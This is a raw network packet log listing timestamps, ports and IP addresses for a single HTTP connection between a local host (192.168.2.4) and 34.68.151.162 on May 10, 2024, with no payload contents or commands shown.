May 10, 2024 09:20:58.238981009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.238992929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.238993883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239006042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239010096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239020109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239032030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239034891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239034891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239044905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239056110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239068985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239082098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239085913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239099026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239104986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239110947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239120007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239124060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239132881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239136934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239150047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239151001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239162922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239173889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239181995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239187956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239195108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239200115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239212036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239221096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239223957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239236116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239247084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239250898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239259005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239267111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239280939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239286900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239295006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239306927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239309072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239320993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239324093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239334106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239346981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239346981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239360094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239371061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239372015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239383936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239392996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239397049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239408970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239417076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239420891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239430904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239434958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239448071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239454985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239459991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239471912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239480019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239485025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239494085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239497900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239511013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239516973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239522934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239537001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239542007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239548922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239556074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239563942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239581108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239593029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239598036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239604950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239617109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239618063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239629030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239634037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239643097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239650011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239655018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239667892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239675999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239681005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239694118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239701986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239706039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239715099 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239718914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239731073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239737988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239742994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239756107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239763021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239768028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239778996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239779949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239793062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239801884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239804983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239818096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239825964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239830017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239839077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239841938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239854097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239864111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239865065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239877939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239888906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239890099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239902973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239902973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239917040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239928961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239929914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239943981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239953995 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239957094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239969015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239976883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239980936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.239991903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.239994049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240005970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240009069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240019083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240032911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240032911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240045071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240056992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240056992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240068913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240082026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240092993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240096092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240114927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240124941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240128040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240139961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240149975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240151882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240163088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240173101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240175962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240189075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240195990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240200996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240210056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240212917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240225077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240231037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240236998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240248919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240257025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240261078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240272999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240287066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240294933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240299940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240312099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240318060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240324974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240334988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240336895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240349054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240349054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240362883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240375042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240382910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240386963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240398884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240403891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240421057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240427017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240438938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240442991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240454912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240458012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240468025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240474939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240479946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240492105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240504026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240506887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240515947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240525961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240541935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240544081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240556955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240562916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240569115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240578890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240581989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240593910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240593910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240606070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240619898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240624905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240633011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240641117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240644932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240658998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240664959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240672112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240695000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240695953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240708113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240712881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240712881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240726948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240736961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240741014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240750074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240755081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240763903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240767002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240778923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240780115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240791082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240792036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240804911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240807056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240820885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240828991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240834951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240848064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240852118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240860939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240869045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240873098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240885019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240892887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240896940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240909100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240921021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240927935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240932941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240946054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240958929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240962982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240971088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240981102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240984917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.240994930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.240998983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241013050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241036892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241039038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241046906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241050005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241063118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241063118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241075993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241085052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241087914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241100073 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241101027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241112947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241121054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241125107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241137981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241144896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241148949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241161108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241168022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241172075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241183043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241184950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241197109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241204977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241209030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241221905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241229057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241235018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241241932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241245985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241257906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241266012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241270065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241281986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241288900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241295099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241302967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241307020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241318941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241327047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241331100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241343975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241348982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241354942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241362095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241367102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241369963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241379976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241390944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241391897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241404057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241405010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241415977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241420031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241427898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241440058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241445065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241451979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241463900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241466999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241491079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241492987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241503000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241511106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241516113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241528034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241534948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241539955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241552114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241561890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241566896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241575003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241585970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241588116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241600037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241602898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241631031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241643906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241645098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241645098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241657019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241663933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241669893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241683006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241683960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241694927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241705894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241708994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241719961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241722107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241736889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241743088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241754055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241760015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241765976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.241775036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.241777897 CEST	80	49754	34.68.151.162	192.168.2.4
